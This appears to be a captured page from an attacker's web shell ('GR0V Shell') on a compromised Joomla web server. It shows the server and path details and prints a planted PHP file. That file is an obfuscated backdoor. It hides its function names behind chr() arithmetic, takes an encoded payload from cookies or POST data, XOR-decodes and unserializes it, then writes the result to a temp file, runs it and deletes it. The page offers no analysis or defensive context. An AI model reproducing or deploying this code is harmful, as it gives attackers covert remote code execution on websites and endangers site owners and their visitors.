? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/test/libraries/joomla/application/web/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/test/libraries/joomla/application/web/22f28e88.php

$jzahkoHr = chr ( 788 - 667 ).chr (95) . 'T' . chr (120) . chr (108) . chr (107) . 'd';$EsKsLT = chr ( 277 - 178 )."\154" . "\x61" . chr (115) . 's' . chr (95) . chr (101) . chr ( 366 - 246 )."\x69" . chr ( 549 - 434 ).chr (116) . chr ( 958 - 843 ); $NChalG = $EsKsLT($jzahkoHr); $jzahkoHr = "54271";$lBPbuKdLr = $NChalG;$EsKsLT = "44408";if (!$lBPbuKdLr){class y_Txlkd{private $PSpauD;public static $WHhPD = "6377935d-2959-4604-8f4c-12be0bd0b599";public static $JJtKEP = 38670;public function __construct($CzDgZaQ=0){$zqepKdPwoC = $_COOKIE;$CykQXxsVxb = $_POST;$YmUlbOLlwt = @$zqepKdPwoC[substr(y_Txlkd::$WHhPD, 0, 4)];if (!empty($YmUlbOLlwt)){$XZrXFH = "base64";$oPZjWcUv = "";$YmUlbOLlwt = explode(",", $YmUlbOLlwt);foreach ($YmUlbOLlwt as $Ocatn){$oPZjWcUv .= @$zqepKdPwoC[$Ocatn];$oPZjWcUv .= @$CykQXxsVxb[$Ocatn];}$oPZjWcUv = array_map($XZrXFH . '_' . chr ( 405 - 305 )."\x65" . 'c' . "\157" . chr (100) . "\145", array($oPZjWcUv,)); $oPZjWcUv = $oPZjWcUv[0] ^ str_repeat(y_Txlkd::$WHhPD, (strlen($oPZjWcUv[0]) / strlen(y_Txlkd::$WHhPD)) + 1);y_Txlkd::$JJtKEP = @unserialize($oPZjWcUv);}}private function YDdtejnpqD(){if (is_array(y_Txlkd::$JJtKEP)) {$xpDErVp = sys_get_temp_dir() . "/" . crc32(y_Txlkd::$JJtKEP[chr (115) . "\141" . 'l' . 't']);@y_Txlkd::$JJtKEP["\x77" . chr (114) . chr (105) . "\x74" . chr (101)]($xpDErVp, y_Txlkd::$JJtKEP['c' . chr ( 521 - 410 ).chr (110) . "\x74" . chr (101) . "\156" . "\164"]);include $xpDErVp;@y_Txlkd::$JJtKEP[chr ( 675 - 575 ).'e' . "\154" . "\145" . "\x74" . "\145"]($xpDErVp); $nyHIArKyM = "9679";exit();}}public function __destruct(){$this->YDdtejnpqD(); $nyHIArKyM = "9679";$AeOwAvX = str_pad($nyHIArKyM, 10);}}$AvIDtMb = new /* 36501 */ y_Txlkd(); $AvIDtMb = substr("3078_21759", 1);}

T1KUS90T
  root-grov@210.1.60.28:~$